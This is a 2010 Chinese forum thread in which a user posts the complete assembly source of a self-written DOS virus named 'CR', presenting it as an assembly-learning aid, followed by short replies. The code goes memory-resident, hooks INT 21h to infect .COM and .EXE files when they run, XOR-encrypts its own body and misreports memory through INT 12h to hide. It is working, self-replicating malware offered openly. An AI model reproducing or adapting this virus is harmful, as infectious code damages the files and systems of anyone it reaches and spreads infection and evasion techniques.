自己用汇编语言写的一个病毒(源码)

社区服务
高级搜索
猴岛论坛电脑百科自己用汇编语言写的一个病毒(源码)
发帖 回复
正序阅读 最近浏览的帖子最近浏览的版块
3个回复

自己用汇编语言写的一个病毒(源码)

楼层直达
天使啊飞!

ZxID:11208587

等级: 上等兵
直到昨天起我什麽也不是,傳說從今天開始
举报 只看楼主 使用道具 楼主   发表于: 2010-04-03 0
这个病毒虽然比较简单。但是麻雀虽小,五脏俱全。隐藏,感染,加密等模块应有尽有(只是不会破坏),是一个比较标准的DOS病毒,可以感染.EXE(不包括PE)和.COM的可执行文件。
如果您希望学习汇编语言,用这个程序作为入门指导倒是比较合适的。
染毒文件会被打上“CR”的标记,我们姑且称它为CR病毒吧。
baseoff equ 107h

code    segment
    assume cs:code,ds:code,es:code,ss:code
    org 100h
main:   
    mov ax,offset begin
    jmp ax
   
    db 'cr'
       
begin:   
    push es
    push ds
   
    mov ax,cs
    mov ds,ax
    mov es,ax
   
    call get_ip   
    push ax
    mov ax,offset encodebegin
    jmp short get_ip_end
   
oldhead    db 0h,4ch,0cdh,21h,6 dup (?)

get_ip    label near
    mov bp,sp
    mov bx,[bp]
    ret
get_ip_end:
    sub bx,112h        ;get current offset
    add ax,bx
    push ax
    pop di
    mov si,di
    cld
    mov cx, offset endtag-offset encodebegin
    mov dl, byte ptr [oldhead+bx]
    push si
decode:   
    lodsb
    xor al,dl
    stosb            ;decode at runtime
    loop decode
    retf            ;retf  cs:ip=encodebegin
    db 62h
    db 65h

encodebegin:
    mov ax,9f80h
    mov es,ax
    cmp es:word ptr [virustag-baseoff],7263h
    jz alreadyresident       
   
    push ds   
    mov ax,40h
    mov ds,ax
    mov di,13h    ;get free memory
    sub word ptr [di],2
    pop ds

    mov di,0
    mov si,bx
    add si,baseoff
    mov cx,2048
    cld

    rep movsb    ;resident in memory
   
    nop
    push bx
   
    mov ax,9f80h
    mov ds,ax
    mov ax,3521h
    int 21h
    mov ds:word ptr[oldint21-baseoff],bx
    mov dx,bx
    mov ds:word ptr[oldint21-baseoff+2h],es
   
    mov dx,offset newint21proc-baseoff
    mov ax,2521h
    int 21h

    mov dx,offset newint12proc-baseoff
    mov ax,2512h
    int 21h
    pop bx
   
alreadyresident:
    mov ax,cs
    mov ds,ax
    mov es,ax
    mov si,offset oldhead
    add si,bx
    mov di,0100h
   
    cmp cs:word ptr oldhead[bx],6163h    ;this is an infected EXE file
    jz GotoExe
   
    cld
    mov cx,7
    rep movsb
   
    pop ds
    pop es
   
    cmp cs:word ptr oldhead[bx],4c00h
    jz go_out
GotoOldHead:                    ;this is an infected COM file
    mov ax,0100h
    jmp ax
GotoExe:
    pop ds
    pop es
    mov ax,ds
    add ax,cs:ini_ss[bx]            ;set old ss
    add ax,10h
    mov ss,ax
    mov ax,cs:ini_sp[bx]            ;set old sp
    mov sp,ax
    mov ax,ds
    add ax,10h
    add cs:ini_cs[bx],ax            ;set old cs
    jmp cs:dword ptr ini_ip[bx]        ;jump to the normal EXE
go_out:
    mov ah,4ch
    int 21h
   
oldint21 dw 2 dup(?)
filehead db 18h dup (?)
filesize dw 2 dup(?)
virustag db 'cr'
infecthead:   
    mov ax,offset begin
    jmp ax
    db 'cr'
temp    dw ?

ini_ip    dw ?
ini_cs    dw ?
ini_ss    dw ?
ini_sp    dw ?

newint21proc:
    cmp ah,4bh
    jz tryinfect
    jmp int21h
tryinfect:
    push ax            ;begin to infect
    push cx
    push es
    push di
    push bx
    push dx
    push ds

    mov ax,3d02h
    int 21h
    jnc openok
    jmp notinfect        ;open fail? not infect
openok:   
    push ds
    push dx
    push cs
    pop ds
    mov dx,offset filehead-baseoff
    mov bx,ax
    mov cx,18h
    mov ah,3fh
    int 21h   
    pop dx
    pop ds
    jc closefilenear        ;read fail? not infect
   
    mov di,offset filehead-baseoff
    mov ax,9f80h
    mov es,ax
   
    cmp word ptr es:[di],5a4dh    ;'MZ' in head? EXE file...
    jnz COM_infect
    jmp EXE_infect
   
COM_infect:   
    cmp word ptr es:[di+5],7263h    ;'cr' in 105h? not infect
    jz closefilenear 

    call getfilesize
    cmp dx,0
    jnz closefilenear            ; file is too big..not infect
    cmp ax,63000
    ja  closefilenear            ; file is too big..not infect
    cmp ax,10
    jb  closefilenear            ; file is too small..not infect
   
    ;infect begin,hahahahaha....
    jmp infectbegin
closefilenear:
    jmp closefile
infectbegin:   
    mov ax,9f80h
    mov ds,ax
    mov es,ax
    mov si,offset filehead-baseoff
    mov di,offset oldhead-baseoff
    mov cx,10
    cld
    rep movsb            ;save the old file head
   
    call addvirustofile
    call mov_ptr_to_head


    mov di,offset infecthead-baseoff
    mov dx,di
    inc di
    mov cx,word ptr [filesize-baseoff]
    add cx,100h
    mov word ptr [di],cx
    mov cx,7
    mov ah,40h
    int 21h
   
   
closefile:
    mov ah,3eh
    int 21h                ; close the file
   
notinfect:
    pop ds
    pop dx
    pop bx
    pop di
    pop es
    pop cx
    pop ax
int21h:    jmp dword ptr cs:[oldint21-baseoff]
   
getfilesize proc near
    mov ax,4202h
    xor cx,cx
    xor dx,dx
    int 21h
    jc  closefile
    mov es:word ptr [filesize-baseoff],ax
    mov es:word ptr [filesize-baseoff+2],dx        ;save the file size
    ret
getfilesize endp

addvirustofile proc near
    xor dx,dx
    mov ah,40h
    mov cx,offset encodebegin-offset begin
    int 21h
    jc closefile            ;write fail... not infect
    cmp ax,cx
    jb closefile            ;write fail... not infect
   
    mov cx,(offset endtag-offset encodebegin)/2+(offset endtag-offset encodebegin)MOD 2
    mov dl,byte ptr oldhead-baseoff
    mov dh,dl
    mov di,dx
    mov si,offset encodebegin-baseoff
    mov dx,offset temp-baseoff
encode_myself:
    push cx
    lodsw
    xor ax,di            ;encode and then write into file
    mov temp-baseoff,ax
    mov ah,40h
    mov cx,2
    int 21h
    jc closefile            ;write fail... not infect
    cmp ax,cx
    jb closefile            ;write fail... not infect
    pop cx
    loop encode_myself
    ret
addvirustofile endp   

mov_ptr_to_head proc near
    mov ax,4200h
    xor cx,cx
    xor dx,dx
    int 21h
    jc closefile   
    ret
mov_ptr_to_head endp


EXE_infect proc near

    mov ax,es:word ptr[di+2]        ;exe size in the last sector
    mov dx,es:word ptr[di+4]        ;total sectors of exe size
    push di
    dec dx
    mov cx,9
    xor si,si
get_size_in_head:
    shl dx,1
    shl si,1
    adc si,0
    loop get_size_in_head
    add dx,ax
    adc si,0
    mov di,dx
   
    call getfilesize            ;get the exe file size
    cmp dx,si
    jnz exe_end_near            ;not equal(file size and loading size)
    cmp dx,0fh                ;not infect
    ja  exe_end_near
    cmp ax,di
    pop di
    jnz exe_end_near
   
    jmp begininfectexe
exe_end_near:
    jmp exe_end
   
    ;begin to infect exe
begininfectexe:   
    mov ax,writesize+10
    mov cl,9
   
    add ax,es:word ptr[di+2]        ;add exe loading size
    mov si,ax
    and ax,1ffh
    mov es:word ptr[di+2],ax
    shr si,cl
    add es:word ptr[di+4],si

    push es
    pop ds

    mov word ptr[oldhead-baseoff],6163h    ;write EXE's tag
    mov ax,[di+14h]
    mov [ini_ip-baseoff],ax
    mov ax,[di+16h]
    mov [ini_cs-baseoff],ax
    mov ax,[di+10h]
    mov [ini_sp-baseoff],ax
    mov ax,[di+0eh]
    mov [ini_ss-baseoff],ax            ;save the old ss,sp,cs,ip
       
    push di
    call addvirustofile
    pop di
    call mov_ptr_to_head

    mov ax,filesize-baseoff
    mov dx,[di+08h]
    mov cl,4
    shl dx,cl                ;dx=exe header size
    sub ax,dx
    push ax
    and ax,0fh
    mov [di+14h],ax                ;modify sp,ip
    mov [di+10h],writesize+50
    add word ptr [di+0ah],writesize/16+1    ;add the memory needed
    pop ax
    mov dx,filesize+2-baseoff
    mov cl,4
modify_cs:
    shr dx,1
    rcr ax,1
    loop modify_cs
    mov [di+16h],ax               
    mov [di+0eh],ax                ;modify cs and ss
   
    mov dx,di
    mov cx,18h
    mov ah,40h
    int 21h

exe_end:
    jmp closefile
EXE_infect endp
   
newint12proc:
    mov ax,640
    iret
writesize    equ $-begin
endtag:
code    ends
    end main
官人。

ZxID:10857698

等级: 中将
//.'梦 已醒 ,情 亦灭。何从。

举报 只看该作者 地板   发表于: 2010-04-03 0
高手,很不错。
               
繁华de都市

ZxID:2491893

等级: 贵宾

举报 只看该作者 板凳   发表于: 2010-04-03 0
真的是你写的吗
书山有路勤为径 学海无涯苦作舟
Gyˊ覑頭曲

ZxID:10157252

等级: 少尉
卫盾游戏助手

举报 只看该作者 沙发   发表于: 2010-04-03 0
路过de    不发表意见
« 返回列表
发帖 回复